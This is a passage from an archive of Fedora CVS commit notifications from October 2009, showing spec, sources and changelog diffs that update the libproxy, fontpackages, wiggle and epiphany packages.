+++ import.log	19 Oct 2009 21:20:20 -0000	1.2
@@ -1 +1,2 @@
 libproxy-0_2_3-8_fc10:HEAD:libproxy-0.2.3-8.fc10.src.rpm:1232723319
+libproxy-0_3_0-1_fc12:HEAD:libproxy-0.3.0-1.fc12.src.rpm:1255986871


Index: libproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libproxy/devel/libproxy.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- libproxy.spec	17 Sep 2009 21:01:30 -0000	1.5
+++ libproxy.spec	19 Oct 2009 21:20:20 -0000	1.6
@@ -3,15 +3,14 @@
 %define gecko_version 1.9.1
 
 Name:           libproxy
-Version:        0.2.3
-Release:        12%{?dist}
+Version:        0.3.0
+Release:        1%{?dist}
 Summary:        A library handling all the details of proxy configuration
 
 Group:          System Environment/Libraries
 License:        LGPLv2+
 URL:            http://code.google.com/p/libproxy/
 Source0:        http://libproxy.googlecode.com/files/libproxy-%{version}.tar.gz
-Patch0:         libproxy-0.2.3-dbus.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel
@@ -113,9 +112,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
-%patch0 -p1 -b .dbus
-touch -r configure.dbus configure
-touch -r configure.ac.dbus configure.ac
+
 
 
 %build
@@ -181,6 +178,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Sep 24 2009 kwizart < kwizart at gmail.com > - 0.3.0-1
+- Update to 0.3.0
+
 * Thu Sep 17 2009 kwizart < kwizart at gmail.com > - 0.2.3-12
 - Remove Requirement of %%{name}-pac virtual provides 
   from the main package - #524043


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libproxy/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	23 Jan 2009 15:09:44 -0000	1.2
+++ sources	19 Oct 2009 21:20:20 -0000	1.3
@@ -1 +1 @@
-86b635e1eb2d665cfbef4c6134fe6604  libproxy-0.2.3.tar.gz
+6ded75a6c6aef53be657ece207cc26c4  libproxy-0.3.0.tar.gz


--- libproxy-0.2.3-dbus.patch DELETED ---



From kwizart at fedoraproject.org  Mon Oct 19 21:22:00 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 21:22:00 +0000 (UTC)
Subject: rpms/libproxy/devel libproxy.spec,1.6,1.7
Message-ID: <20091019212200.40D1211C00DC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/libproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20686

Modified Files:
	libproxy.spec 
Log Message:
Update %file section



Index: libproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libproxy/devel/libproxy.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- libproxy.spec	19 Oct 2009 21:20:20 -0000	1.6
+++ libproxy.spec	19 Oct 2009 21:22:00 -0000	1.7
@@ -42,9 +42,6 @@ libproxy offers the following features:
     * a standard way of dealing with proxy settings across all scenarios
     * a sublime sense of joy and accomplishment 
 
-Non-default rpmbuild options:
---with webkit:           Enable WebKit-gtk support
-
 
 %package        bin
 Summary:        Binary to test %{name}
@@ -141,10 +138,16 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so.*
 %dir %{_libdir}/%{name}
 %dir %{_libdir}/%{name}/%{version}
-%dir %{_libdir}/%{name}/%{version}/plugins
-%{_libdir}/%{name}/%{version}/plugins/envvar.so
-%{_libdir}/%{name}/%{version}/plugins/file.so
-%{_libdir}/%{name}/%{version}/plugins/networkmanager.so
+%dir %{_libdir}/%{name}/%{version}/modules
+%{_libdir}/%{name}/%{version}/modules/config_direct.so
+%{_libdir}/%{name}/%{version}/modules/config_envvar.so
+%{_libdir}/%{name}/%{version}/modules/config_file.so
+%{_libdir}/%{name}/%{version}/modules/config_wpad.so
+%{_libdir}/%{name}/%{version}/modules/ignore_ip.so
+%{_libdir}/%{name}/%{version}/modules/ignore_domain.so
+%{_libdir}/%{name}/%{version}/modules/network_networkmanager.so
+%{_libdir}/%{name}/%{version}/modules/wpad_dnsdevolution.so
+%{_libdir}/%{name}/%{version}/modules/wpad_dns.so
 
 %files bin
 %defattr(-,root,root,-)
@@ -156,19 +159,19 @@ rm -rf $RPM_BUILD_ROOT
 
 %files gnome
 %defattr(-,root,root,-)
-%{_libdir}/%{name}/%{version}/plugins/gnome.so
+%{_libdir}/%{name}/%{version}/modules/config_gnome.so
 
 %files kde
 %defattr(-,root,root,-)
-%{_libdir}/%{name}/%{version}/plugins/kde.so
+%{_libdir}/%{name}/%{version}/modules/config_kde.so
 
 %files mozjs
 %defattr(-,root,root,-)
-%{_libdir}/%{name}/%{version}/plugins/mozjs.so
+%{_libdir}/%{name}/%{version}/modules/pacrunner_mozjs.so
 
 %files webkit
 %defattr(-,root,root,-)
-%{_libdir}/%{name}/%{version}/plugins/webkit.so
+%{_libdir}/%{name}/%{version}/modules/pacrunner_webkit.so
 
 %files devel
 %defattr(-,root,root,-)



From nim at fedoraproject.org  Mon Oct 19 21:23:32 2009
From: nim at fedoraproject.org (nim)
Date: Mon, 19 Oct 2009 21:23:32 +0000 (UTC)
Subject: rpms/fontpackages/devel .cvsignore, 1.17, 1.18 fontpackages.spec,
	1.23, 1.24 import.log, 1.19, 1.20 sources, 1.17, 1.18
Message-ID: <20091019212332.3CF9B11C00DC@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/fontpackages/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20991/devel

Modified Files:
	.cvsignore fontpackages.spec import.log sources 
Log Message:
1.28


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	28 Sep 2009 09:05:15 -0000	1.17
+++ .cvsignore	19 Oct 2009 21:23:31 -0000	1.18
@@ -1 +1 @@
-fontpackages-1.27.tar.xz
+fontpackages-1.28.tar.xz


Index: fontpackages.spec
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/fontpackages.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- fontpackages.spec	28 Sep 2009 09:05:16 -0000	1.23
+++ fontpackages.spec	19 Oct 2009 21:23:32 -0000	1.24
@@ -3,7 +3,7 @@
 %global rpmmacrodir     %{_sysconfdir}/rpm/
 
 Name:    fontpackages
-Version: 1.27
+Version: 1.28
 Release: 1%{?dist}
 Summary: Common directory and macro definitions used by font packages
 
@@ -100,6 +100,10 @@ rm -fr %{buildroot}
 
 
 %changelog
+* Mon Oct 19 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.28-1
+? Rework repo-font-audit to also generate individual packager nagmails
+
 * Mon Sep 28 2009 Nicolas Mailhot <nim at fedoraproject dot org>
 - 1.27-1
 ? Brownpaper bag release ?2


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/import.log,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- import.log	28 Sep 2009 09:05:16 -0000	1.19
+++ import.log	19 Oct 2009 21:23:32 -0000	1.20
@@ -17,3 +17,4 @@ fontpackages-1_24-1_fc12:HEAD:fontpackag
 fontpackages-1_25-1_fc12:HEAD:fontpackages-1.25-1.fc12.src.rpm:1254072286
 fontpackages-1_26-1_fc12:HEAD:fontpackages-1.26-1.fc12.src.rpm:1254091733
 fontpackages-1_27-1_fc12:HEAD:fontpackages-1.27-1.fc12.src.rpm:1254128698
+fontpackages-1_28-1_fc13:HEAD:fontpackages-1.28-1.fc13.src.rpm:1255987394


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	28 Sep 2009 09:05:16 -0000	1.17
+++ sources	19 Oct 2009 21:23:32 -0000	1.18
@@ -1 +1 @@
-c2987bf1553807157ad681c253335dfd  fontpackages-1.27.tar.xz
+0702fe5a2cc4d16df807003fe0c40ae2  fontpackages-1.28.tar.xz



From kwizart at fedoraproject.org  Mon Oct 19 21:24:48 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 21:24:48 +0000 (UTC)
Subject: rpms/libproxy/F-12 libproxy.spec, 1.5, 1.6 sources, 1.2,
	1.3 libproxy-0.2.3-dbus.patch, 1.1, NONE
Message-ID: <20091019212448.D3AEA11C00DC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/libproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21377

Modified Files:
	libproxy.spec sources 
Removed Files:
	libproxy-0.2.3-dbus.patch 
Log Message:
- Update to 0.3.0



Index: libproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libproxy/F-12/libproxy.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- libproxy.spec	17 Sep 2009 21:01:30 -0000	1.5
+++ libproxy.spec	19 Oct 2009 21:24:48 -0000	1.6
@@ -3,15 +3,14 @@
 %define gecko_version 1.9.1
 
 Name:           libproxy
-Version:        0.2.3
-Release:        12%{?dist}
+Version:        0.3.0
+Release:        1%{?dist}
 Summary:        A library handling all the details of proxy configuration
 
 Group:          System Environment/Libraries
 License:        LGPLv2+
 URL:            http://code.google.com/p/libproxy/
 Source0:        http://libproxy.googlecode.com/files/libproxy-%{version}.tar.gz
-Patch0:         libproxy-0.2.3-dbus.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel
@@ -43,9 +42,6 @@ libproxy offers the following features:
     * a standard way of dealing with proxy settings across all scenarios
     * a sublime sense of joy and accomplishment 
 
-Non-default rpmbuild options:
---with webkit:           Enable WebKit-gtk support
-
 
 %package        bin
 Summary:        Binary to test %{name}
@@ -113,9 +109,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
-%patch0 -p1 -b .dbus
-touch -r configure.dbus configure
-touch -r configure.ac.dbus configure.ac
+
 
 
 %build
@@ -144,10 +138,16 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so.*
 %dir %{_libdir}/%{name}
 %dir %{_libdir}/%{name}/%{version}
-%dir %{_libdir}/%{name}/%{version}/plugins
-%{_libdir}/%{name}/%{version}/plugins/envvar.so
-%{_libdir}/%{name}/%{version}/plugins/file.so
-%{_libdir}/%{name}/%{version}/plugins/networkmanager.so
+%dir %{_libdir}/%{name}/%{version}/modules
+%{_libdir}/%{name}/%{version}/modules/config_direct.so
+%{_libdir}/%{name}/%{version}/modules/config_envvar.so
+%{_libdir}/%{name}/%{version}/modules/config_file.so
+%{_libdir}/%{name}/%{version}/modules/config_wpad.so
+%{_libdir}/%{name}/%{version}/modules/ignore_ip.so
+%{_libdir}/%{name}/%{version}/modules/ignore_domain.so
+%{_libdir}/%{name}/%{version}/modules/network_networkmanager.so
+%{_libdir}/%{name}/%{version}/modules/wpad_dnsdevolution.so
+%{_libdir}/%{name}/%{version}/modules/wpad_dns.so
 
 %files bin
 %defattr(-,root,root,-)
@@ -159,19 +159,19 @@ rm -rf $RPM_BUILD_ROOT
 
 %files gnome
 %defattr(-,root,root,-)
-%{_libdir}/%{name}/%{version}/plugins/gnome.so
+%{_libdir}/%{name}/%{version}/modules/config_gnome.so
 
 %files kde
 %defattr(-,root,root,-)
-%{_libdir}/%{name}/%{version}/plugins/kde.so
+%{_libdir}/%{name}/%{version}/modules/config_kde.so
 
 %files mozjs
 %defattr(-,root,root,-)
-%{_libdir}/%{name}/%{version}/plugins/mozjs.so
+%{_libdir}/%{name}/%{version}/modules/pacrunner_mozjs.so
 
 %files webkit
 %defattr(-,root,root,-)
-%{_libdir}/%{name}/%{version}/plugins/webkit.so
+%{_libdir}/%{name}/%{version}/modules/pacrunner_webkit.so
 
 %files devel
 %defattr(-,root,root,-)
@@ -181,6 +181,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Sep 24 2009 kwizart < kwizart at gmail.com > - 0.3.0-1
+- Update to 0.3.0
+
 * Thu Sep 17 2009 kwizart < kwizart at gmail.com > - 0.2.3-12
 - Remove Requirement of %%{name}-pac virtual provides 
   from the main package - #524043


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libproxy/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	23 Jan 2009 15:09:44 -0000	1.2
+++ sources	19 Oct 2009 21:24:48 -0000	1.3
@@ -1 +1 @@
-86b635e1eb2d665cfbef4c6134fe6604  libproxy-0.2.3.tar.gz
+6ded75a6c6aef53be657ece207cc26c4  libproxy-0.3.0.tar.gz


--- libproxy-0.2.3-dbus.patch DELETED ---



From nim at fedoraproject.org  Mon Oct 19 21:24:56 2009
From: nim at fedoraproject.org (nim)
Date: Mon, 19 Oct 2009 21:24:56 +0000 (UTC)
Subject: rpms/fontpackages/F-12 .cvsignore, 1.17, 1.18 fontpackages.spec,
	1.23, 1.24 import.log, 1.19, 1.20 sources, 1.17, 1.18
Message-ID: <20091019212456.C2E5B11C00DC@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/fontpackages/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21803/F-12

Modified Files:
	.cvsignore fontpackages.spec import.log sources 
Log Message:
1.28


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	28 Sep 2009 09:05:15 -0000	1.17
+++ .cvsignore	19 Oct 2009 21:24:56 -0000	1.18
@@ -1 +1 @@
-fontpackages-1.27.tar.xz
+fontpackages-1.28.tar.xz


Index: fontpackages.spec
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/fontpackages.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- fontpackages.spec	28 Sep 2009 09:05:16 -0000	1.23
+++ fontpackages.spec	19 Oct 2009 21:24:56 -0000	1.24
@@ -3,7 +3,7 @@
 %global rpmmacrodir     %{_sysconfdir}/rpm/
 
 Name:    fontpackages
-Version: 1.27
+Version: 1.28
 Release: 1%{?dist}
 Summary: Common directory and macro definitions used by font packages
 
@@ -100,6 +100,10 @@ rm -fr %{buildroot}
 
 
 %changelog
+* Mon Oct 19 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.28-1
+? Rework repo-font-audit to also generate individual packager nagmails
+
 * Mon Sep 28 2009 Nicolas Mailhot <nim at fedoraproject dot org>
 - 1.27-1
 ? Brownpaper bag release ?2


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/import.log,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- import.log	28 Sep 2009 09:05:16 -0000	1.19
+++ import.log	19 Oct 2009 21:24:56 -0000	1.20
@@ -17,3 +17,4 @@ fontpackages-1_24-1_fc12:HEAD:fontpackag
 fontpackages-1_25-1_fc12:HEAD:fontpackages-1.25-1.fc12.src.rpm:1254072286
 fontpackages-1_26-1_fc12:HEAD:fontpackages-1.26-1.fc12.src.rpm:1254091733
 fontpackages-1_27-1_fc12:HEAD:fontpackages-1.27-1.fc12.src.rpm:1254128698
+fontpackages-1_28-1_fc13:F-12:fontpackages-1.28-1.fc13.src.rpm:1255987476


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	28 Sep 2009 09:05:16 -0000	1.17
+++ sources	19 Oct 2009 21:24:56 -0000	1.18
@@ -1 +1 @@
-c2987bf1553807157ad681c253335dfd  fontpackages-1.27.tar.xz
+0702fe5a2cc4d16df807003fe0c40ae2  fontpackages-1.28.tar.xz



From nim at fedoraproject.org  Mon Oct 19 21:25:33 2009
From: nim at fedoraproject.org (nim)
Date: Mon, 19 Oct 2009 21:25:33 +0000 (UTC)
Subject: rpms/fontpackages/F-11 .cvsignore, 1.10, 1.11 fontpackages.spec,
	1.15, 1.16 import.log, 1.12, 1.13 sources, 1.10, 1.11
Message-ID: <20091019212533.EA45911C00DC@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/fontpackages/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22316/F-11

Modified Files:
	.cvsignore fontpackages.spec import.log sources 
Log Message:
1.28


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	19 Feb 2009 05:55:46 -0000	1.10
+++ .cvsignore	19 Oct 2009 21:25:33 -0000	1.11
@@ -1 +1 @@
-fontpackages-1.20.tar.bz2
+fontpackages-1.28.tar.xz


Index: fontpackages.spec
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-11/fontpackages.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- fontpackages.spec	24 Feb 2009 17:50:40 -0000	1.15
+++ fontpackages.spec	19 Oct 2009 21:25:33 -0000	1.16
@@ -3,8 +3,8 @@
 %global rpmmacrodir     %{_sysconfdir}/rpm/
 
 Name:    fontpackages
-Version: 1.20
-Release: 2%{?dist}
+Version: 1.28
+Release: 1%{?dist}
 Summary: Common directory and macro definitions used by font packages
 
 Group:     Development/System
@@ -12,7 +12,7 @@ Group:     Development/System
 # license of the packages they're inserted in
 License:   LGPLv3+
 URL:       http://fedoraproject.org/wiki/fontpackages/
-Source0:   http://fedorahosted.org/releases/f/o/%{name}/%{name}-%{version}.tar.bz2
+Source0:   http://fedorahosted.org/releases/f/o/%{name}/%{name}-%{version}.tar.xz
 
 BuildArch: noarch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -36,7 +36,7 @@ including the correct permissions for th
 Summary: Templates and macros used to create font packages
 
 Requires: rpmdevtools, %{name}-filesystem = %{version}-%{release}
-Requires: fontconfig
+Requires: fontconfig, rpmlint
 
 %description devel
 This package contains spec templates, rpm macros and other materials used to
@@ -66,10 +66,12 @@ install -m 0755 -d %{buildroot}${_fontba
                    %{buildroot}${_fontconfig_templatedir} \
                    %{buildroot}%{spectemplatedir} \
                    %{buildroot}%{rpmmacrodir} \
-                   %{buildroot}%{_datadir}/fontconfig/templates
+                   %{buildroot}%{_datadir}/fontconfig/templates \
+                   %{buildroot}%{_bindir}
 install -m 0644 -p spec-templates/*.spec  %{buildroot}%{spectemplatedir}
 install -m 0644 -p fontconfig-templates/* %{buildroot}%{ftcgtemplatedir}
 install -m 0644 -p rpm/macros*            %{buildroot}%{rpmmacrodir}
+install -m 0755 -p bin/*                  %{buildroot}%{_bindir}
 
 cat <<EOF > %{name}-%{version}.files
 %defattr(0644,root,root,0755)
@@ -86,8 +88,6 @@ rm -fr %{buildroot}
 %files filesystem -f %{name}-%{version}.files
 %defattr(0644,root,root,0755)
 %dir %{_datadir}/fontconfig
-
-
 %files devel
 %defattr(0644,root,root,0755)
 %doc license.txt readme.txt
@@ -96,11 +96,50 @@ rm -fr %{buildroot}
 %dir %{ftcgtemplatedir}
 %{ftcgtemplatedir}/*conf
 %{ftcgtemplatedir}/*txt
+%attr(0755,root,root) %{_bindir}/*
 
 
 %changelog
-* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.20-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+* Mon Oct 19 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.28-1
+? Rework repo-font-audit to also generate individual packager nagmails
+
+* Mon Sep 28 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.27-1
+? Brownpaper bag release ?2
+
+* Sun Sep 27 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.26-1
+? Brownpaper bag release
+- 1.25-1
+? Add short test summary to repo-font-audit
+
+* Sat Sep 26 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.24-1
+? improve repo-font-audit (make WWS check more accurate, support file://
+  local repositories?)
+
+* Sun Sep 13 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.23-1
+? cleanups + add merging/remapping templates
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org>
+- 1.22-2
+? Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jun 20 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.22-1
+? workaround rpm eating end-of-line after %%_font_pkg calls
+? add script to audit font sanity of yum repositories
+
+* Tue Jun 2 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.21-1
+? try to handle more corner naming cases in lua macro ? expect some fallout
+  if your spec uses weird naming
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org>
+- 1.20-2
+? Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
 * Wed Feb 18 2009 Nicolas Mailhot <nim at fedoraproject dot org>
 - 1.20-1


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-11/import.log,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- import.log	23 Feb 2009 08:32:21 -0000	1.12
+++ import.log	19 Oct 2009 21:25:33 -0000	1.13
@@ -10,3 +10,4 @@ fontpackages-1_19-1_fc11:HEAD:fontpackag
 fontpackages-1_19-2_fc11:HEAD:fontpackages-1.19-2.fc11.src.rpm:1234813732
 fontpackages-1_20-1_fc11:HEAD:fontpackages-1.20-1.fc11.src.rpm:1234998636
 fontpackages-1_20-1_fc11:HEAD:fontpackages-1.20-1.fc11.src.rpm:1235377920
+fontpackages-1_28-1_fc13:F-11:fontpackages-1.28-1.fc13.src.rpm:1255987473


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	19 Feb 2009 05:55:46 -0000	1.10
+++ sources	19 Oct 2009 21:25:33 -0000	1.11
@@ -1 +1 @@
-b836f00bcf709f42295f624bbf4f19c7  fontpackages-1.20.tar.bz2
+0702fe5a2cc4d16df807003fe0c40ae2  fontpackages-1.28.tar.xz



From gospo at fedoraproject.org  Mon Oct 19 21:29:16 2009
From: gospo at fedoraproject.org (Andy Gospodarek)
Date: Mon, 19 Oct 2009 21:29:16 +0000 (UTC)
Subject: rpms/wiggle/devel .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 wiggle.spec,
	1.4, 1.5 wiggle-various-changes.patch, 1.1, NONE
Message-ID: <20091019212916.1366411C00DC@cvs1.fedora.phx.redhat.com>

Author: gospo

Update of /cvs/pkgs/rpms/wiggle/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22678

Modified Files:
	.cvsignore sources wiggle.spec 
Removed Files:
	wiggle-various-changes.patch 
Log Message:
Fixed bug 506812.  It requested that I update the URL/Source0 fields
since they were not quite operational anymore.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wiggle/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	18 Jan 2008 20:58:28 -0000	1.2
+++ .cvsignore	19 Oct 2009 21:29:15 -0000	1.3
@@ -1 +1 @@
-wiggle-0.6.tar.gz
+wiggle-1c5bfa7ce4de088e3b942463bb11cdc553a92b97.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wiggle/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	18 Jan 2008 20:58:28 -0000	1.2
+++ sources	19 Oct 2009 21:29:15 -0000	1.3
@@ -1 +1 @@
-1884607cdebaf730737cb99b2909219b  wiggle-0.6.tar.gz
+7244cf7441c7f54c52f2cdc97fa9f268  wiggle-1c5bfa7ce4de088e3b942463bb11cdc553a92b97.tar.gz


Index: wiggle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wiggle/devel/wiggle.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- wiggle.spec	27 Jul 2009 07:16:28 -0000	1.4
+++ wiggle.spec	19 Oct 2009 21:29:15 -0000	1.5
@@ -1,20 +1,30 @@
 Name:           wiggle
 Version:        0.6
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        A tool for applying patches with conflicts
 
 Group:          Development/Tools
 License:        GPLv2+
-URL:            http://www.cse.unsw.edu.au/~neilb/source/wiggle/
-Source0:        http://www.cse.unsw.edu.au/~neilb/source/wiggle/%{name}-%{version}.tar.gz
-Patch0:         wiggle-various-changes.patch
-Patch1:         wiggle-fix-build.patch
+URL:            http://neil.brown.name/git/wiggle
+Source0:        wiggle-1c5bfa7ce4de088e3b942463bb11cdc553a92b97.tar.gz
+Patch0:         wiggle-fix-build.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  groff, time
 #Requires:       
 
+# The source tarball used, is obtained by visiting the URL above and
+# getting a snapshot that contains the latest sources.  This can be
+# done by clicking the 'snapshot' link listed on the gitweb interface
+# This snapshot was the latest commit on the 'master' branch.
+# 
+# RPM doesn't particularly like this link as a 'Source', so I'll paste
+# is here for posterity:
+#
+# http://neil.brown.name/git?p=wiggle;a=snapshot;h=1c5bfa7ce4de088e3b942463bb11cdc553a92b97;sf=tgz
+#
+
 %description
 Wiggle is a program for applying patches that 'patch' cannot apply due
 to conflicting changes in the original.
@@ -25,9 +35,8 @@ original in a manner similar to 'merge',
 conflict.
 
 %prep
-%setup -q
+%setup -q -n wiggle
 %patch0 -p1 -b .orig
-%patch1 -p1 -b .orig
 
 %build
 make CFLAGS="$RPM_OPT_FLAGS" %{?_smp_mflags}
@@ -50,6 +59,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Andy Gospodarek <gospo at redhat.com> 0.6-7
+- Updated location for wiggle sources and uploaded new source-file. [506812]
+- Dropped first patch since it was now included.
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- wiggle-various-changes.patch DELETED ---



From mclasen at fedoraproject.org  Mon Oct 19 21:38:44 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 21:38:44 +0000 (UTC)
Subject: rpms/epiphany/F-12 .cvsignore, 1.88, 1.89 epiphany.spec, 1.246,
	1.247 sources, 1.91, 1.92
Message-ID: <20091019213844.2C05D11C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/epiphany/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26230

Modified Files:
	.cvsignore epiphany.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany/F-12/.cvsignore,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- .cvsignore	24 Sep 2009 02:32:19 -0000	1.88
+++ .cvsignore	19 Oct 2009 21:38:43 -0000	1.89
@@ -1 +1 @@
-epiphany-2.28.0.tar.bz2
+epiphany-2.28.1.tar.bz2


Index: epiphany.spec
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany/F-12/epiphany.spec,v
retrieving revision 1.246
retrieving revision 1.247
diff -u -p -r1.246 -r1.247
--- epiphany.spec	24 Sep 2009 02:58:04 -0000	1.246
+++ epiphany.spec	19 Oct 2009 21:38:43 -0000	1.247
@@ -7,7 +7,7 @@
 
 Summary: Web browser for GNOME
 Name: epiphany
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 %define major_version 2.27
 Provides: epiphany(abi) = %{major_version}
@@ -245,6 +245,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/epiphany
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+- See http://mail.gnome.org/archives/ftp-release-list/2009-October/msg00049.html
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany/F-12/sources,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- sources	24 Sep 2009 02:32:19 -0000	1.91
+++ sources	19 Oct 2009 21:38:43 -0000	1.92
@@ -1 +1 @@
-b88ac1168fc271892cabf73b749cac16  epiphany-2.28.0.tar.bz2
+7a8b885a4894d2a9e979b8cb8898db1e  epiphany-2.28.1.tar.bz2



From ajax at fedoraproject.org  Mon Oct 19 22:00:10 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 22:00:10 +0000 (UTC)
Subject: rpms/libX11/devel .cvsignore, 1.18, 1.19 libX11.spec, 1.67,
	1.68 sources, 1.17, 1.18
Message-ID: <20091019220011.000F711C02A6@cvs1.fedora.phx.redhat.com>

Author: ajax

